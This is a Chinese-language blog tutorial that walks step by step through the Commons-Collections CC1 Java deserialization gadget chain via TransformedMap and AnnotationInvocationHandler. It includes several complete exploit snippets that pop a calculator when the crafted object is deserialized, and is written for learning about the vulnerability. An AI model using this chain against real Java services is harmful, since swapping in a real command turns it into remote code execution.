Java反序列化Commons-Collections ——CC1之TransformedMap
0x01 环境配置
首先是JDK版本,一定要是8u65
版本,因为高版本的JDK修复了 CC1链。安装完成后可以验证下,如下所示:

这里我直接在官网下载的JDK版本号对应不上,虽然页面上显示的是8u65
但实际下载的时候变成了8u111
,而且官网上没有8u65
的版本,最低是到8u71
版本(截至到2025/02/13
)。这里给出一个链接
百度云链接
还有一种验证方式,可以在安装好JDK之后,直接全局搜索 AnnotationInvocationHandler
找到该类的readObject
方法,查看该方法是否有调用setValue
方法,因为CC1
后续的利用需要借助该方法。

另外,还需要获取openJDK的源码,以便在复现以及跟踪链时,可以直接看源码,反编译的代码理解起来会困难一些。
首先把安装JDK目录下的src.zip
文件解压,然后将下载好的openJDK的zip文件中/src/share/classes/sun
文件夹添加到src
目录下

在idea的JDKs/sourcepath
下,添加该src目录,然后就可以直接看JDK的源码了。

0x02 链尾分析
CC1链的源头就是Commons-Collections库中的Transformer
接口,该接口下的transform
方法。

直接idea findUsages看都有哪些类实现了这个方法,因为是学习,所以就直奔InvokerTransformer

InvokerTransformer
继承了该接口,并且还继承了Serializable
满足调用链需求

然后看InvokerTransformer
类实现的transform
方法

重写的方法中通过反射获取了输入的类,然后获取类中的函数并执行,这里符合作为sink
点,可以通过调用InvokerTransformer#transform
函数,实现反序列化的目的——命令执行,其中cls.getMethod
的参数为InvokerTranformer
的成员变量

所以我们只需要调用InvokerTranformer
的构造函数创建InvokerTransformer
实例,然后执行transform
函数即可。看下构造函数是如何实现的

然后我们根据构造函数写一下执行弹计算器的exp
1 2 3 4 5
| public static void exec() { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" }); invokerTransformer.transform(runtime); }
|

成功执行。
0x03 利用链分析
找到了链尾,就需要逐步往前寻找调用链的每一个节点,首先需要找哪个类中的哪个方法调用了InvokerTransformer#transfrom
方法
直接对这个方法右键 find Useage
,这里直接查看TransformedMap


TransformedMap
类中的checkSetValue
调用了transform
方法,并且checkSetValue
的属性是protected
,需要通过其他内部函数调用,然后我们看这个类的构造方法,这个构造方法也是protected
,并且checkSetValue
方法中的valueTransformer
也在构造函数中。

而TransformedMap
中的这个decorate
静态方法调用了构造方法。

也就是我们可以通过调用decorate
方法来调用构造方法,然后通过找到谁调用了checkSetValue
方法,实现链式调用最终执行命令,这里梳理一下到目前为止的调用链:
首先需要通过TransformedMap#decorate
实例化TransformedMap
对象,然后调用Transformedmap#checkSetValue
方法触发InvokerTranformer#transform
,即如下:
1 2
| TransformedMap.decorate() → TransformedMap.TransformedMap() xxx.xxx() → TransformedMap.checkSetValue() → InvokerTransformer.transform()
|
这里写一个exp验证
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| Runtime runtime = Runtime.getRuntime(); InvokerTransformer transformers = new InvokerTransformer( "exec", new Class[]{ String.class }, new Object[]{ "open -a Calculator" } );
HashMap<Object, Object> hashMap = new HashMap<>(); Map decorateMap = TransformedMap.decorate(hashMap, null, transformers);
Class<TransformedMap> clazz = TransformedMap.class; Method method = clazz.getDeclaredMethod("checkSetValue", Object.class); method.setAccessible(true); method.invoke(decorateMap, runtime);
|

接下来需要找怎么触发这个checksetValue,同样find,找到这个AbstractInputCheckedMapDecorator.MapEntry#setValue
方法调用了checkSetValue
方法


这个MapEntry#setValue
可以通过获取MapEntry
对象并调用setValue
方法实现调用,也即如下:
1 2 3
| for (Map.Entry entry : Map.entrySet()){ entry.setValue(xxx); }
|
并且这里的Map必须至少有一对键值对,否则遍历时无法获取entrySet
对象
1
| Map.Entry.setValue() → AbstractInputCheckedMapDecorator.MapEntry.setValue() → TransformedMap.checkSetValue() → InvokerTransformer.transform()
|
这里编写一下exp,并附上注释
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public static void main() { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" } ); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("key", "value"); Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer); for (Map.Entry entry : transformedMap.entrySet()) { entry.setValue(runtime); } }
|

可以看到成功弹出了计算器。
总结一下就是,首先通过decorate
获取到TransformedMap
对象,然后通过遍历TransformedMap#entrySet
进行setValue
,然后setValue
又会调用checkSetValue
,然后执行InvokerTransformer#transform
,最后执行命令。
0x04 ReadObject
反序列化最终要找到一个readObject
来进行命令执行, 所以再通过findUsages找到看谁调用了setValue

文章开头提到的JDK中的AnnotationInvocationHandler
的readObject
方法刚好调用了这个setValue
,然后看下这个readObject
在什么条件下可以调用到setValue

这里先不管这两个条件直接看一下这个AnnotationInvocationHandler
的构造函数,下一节会通过调试分析如何满足两个条件

可以看到构造函数第一个参数为一个注解类,第二个参数为一个Map,然后编写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public static void exp5() throws Exception { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer( "exec", new Class[]{String.class}, new Object[]{ "open -a Calculator" }); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("key", "value"); Map transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Object o = constructor.newInstance(Override.class, transformedMap); serialize(o); deserialize("ser.bin"); }
|
0x05 完整调用链
到目前为止,还有以下问题需要解决:
-
Runtime
对象不可反序列化,需要通过反射将其变成可以反序列化的形式;
-
需要满足AnnotationInvocationHandler
中的条件
首先看下Runtime
的反序列化:
Runtime
是不能反序列化,但是Runtime.class
是可以反序列化的,先看下普通的反射实现Runtime
命令执行
1 2 3 4 5 6 7
| public void static main(String[] args) throws Exception { Class clazz = Runtime.class; Method getRuntimeMethod = clazz.getMethod("getRuntime"); Runtime runtime = method.invoke(null, null); Method execMethod = clazz.getMethod("exec", String.class); execMethod.invoke(runtime, "open -a Calculator"); }
|

然后将这个普通的反射调用Runtime
修改为InvokerTransformer
调用的形式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| public static void exp5() throws Exception { Transformer[] transformers = new Transformer[] { new InvokerTransformer( "getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", null } ), new InvokerTransformer( "invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] } ), new InvokerTransformer( "exec", new Class[] { String.class }, new Object[] { "open -a Calculator" } ) }; ChainedTransformer chain = new ChainedTransformer(transformers); chain.transform(Runtime.class); }
|

然后结合Runtime
的反序列化,再编写一下整个exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| public static void exp6() throws Exception { Transformer[] transformers = new Transformer[] { new InvokerTransformer( "getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", null } ), new InvokerTransformer( "invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] } ), new InvokerTransformer( "exec", new Class[] { String.class }, new Object[] { "open -a Calculator" } ) }; ChainedTransformer chain = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("key", "rea1m"); Map transformedMap = TransformedMap.decorate(hashMap, null, chain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Object o = constructor.newInstance(Override.class, transformedMap);
serialize(o); deserialize("ser.bin"); }
|
接下来解决下一个问题,满足AnnotationInvokerHandler#readObject
的if
条件:
下断点调试

这里传入的memberType==null
,所以会跳出第一个if
判断,分析下这个memberType
:

1 2 3
| annotationType = AnnotationType.getInstance(type);
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
|
看下这个type
,是类的成员变量,在构造函数中赋值。

分析下可以知道,在我们实例化AnnotationInvocationHandler
时传入的第一个参数,需要有成员变量的,才能进入到第一个if
条件判断,所以要找一个有成员变量的注解

@Target
这个注解具有成员变量,这里把传参替换成Target.class
并且这个注解的成员变量为value
,所以在hashMap.put()
时,需要将键修改为value
,即如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public static void exp5() throws Exception { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer( "exec", new Class[]{String.class}, new Object[]{ "open -a Calculator" }); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("value", "rea1m"); Map transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Object o = constructor.newInstance(Target.class, transformedMap);
serialize(o); deserialize("ser.bin"); }
|

继续跟进,发现成功满足了两个if条件,但是并未成功调用计算器

发现在setValue
时,value
的值为AnnotationTypeMismatchExceptionProxy
,而不是我们希望的,所以这里需要找一个类可以能够控制setValue
的参数——ConstantTransformer
;

ConstantTransformer
在构造函数时,会将入参保留在iConstant
,而在transform
时,会直接将iContant
返回。
所以这里我们先通过ConstantTransformer
传入Runtime.class
,这样可以在setValue
时可以设置为我们传入的值,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| public static void exp0() throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer( "getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", null } ), new InvokerTransformer( "invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] } ), new InvokerTransformer( "exec", new Class[] { String.class }, new Object[] { "open -a Calculator" } ) }; ChainedTransformer chain = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("value", "rea1m"); Map transformedMap = TransformedMap.decorate(hashMap, null, chain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Object o = constructor.newInstance(Target.class, transformedMap);
serialize(o); deserialize("ser.bin"); }
|
然后再断点调试看一下

可以看到,这里的valueTransformer
已经是我们设置的ContantTransformer
。

成功启动了计算器。
0x06 总结
1 2 3 4 5 6 7 8 9
| 利用链: InvokerTransformer#transform TransformedMap#checkSetValue AbstrackInputCheckedMapDecorator.MapEntry#setValue AnnotationInvocationHandler#readObject 辅助链: ChainedTransformer ConstantTransformer HashMap
|